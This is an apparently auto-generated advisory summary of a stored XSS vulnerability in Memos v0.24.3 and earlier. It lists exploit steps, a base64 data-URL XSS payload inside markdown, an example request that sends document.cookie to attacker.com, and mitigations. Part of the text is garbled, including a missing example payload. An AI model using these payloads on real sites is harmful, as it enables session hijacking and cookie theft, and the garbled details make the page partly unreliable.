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How the CVE Works:
Memos v0.24.3 and prior fails to sanitize image URLs in markdown content. Attackers can craft malicious memos containing JavaScript payloads disguised as image URLs (e.g., )). When victims view the memo, their browsers execute the script in the context of the Memos domain, enabling session hijacking, cookie theft, or redirection to phishing sites. The vulnerability stems from inadequate input validation during markdown parsing and lack of Content Security Policy (CSP) protections.
DailyCVE Form:
Platform: Memos
Version: <= v0.24.3
Vulnerability: XSS
Severity: Moderate
Date: Jul 29, 2025
Prediction: Patch by Aug 12, 2025
What Undercode Say:
![<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">xss</a>]
GET /memo/xss?victim_cookie=document.cookie HTTP/1.1 Host: attacker.com
How Exploit:
1. Craft memo with malicious image URL
2. Bypass sanitization using base64 encoding
3. Trigger payload on page load
Protection from this CVE:
1. Update to v0.24.4+
2. Implement CSP headers
3. Sanitize markdown inputs
Impact:
1. Session hijacking
2. Data exfiltration
3. Phishing escalation
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Sources:
Reported By: github.com
Extra Source Hub:
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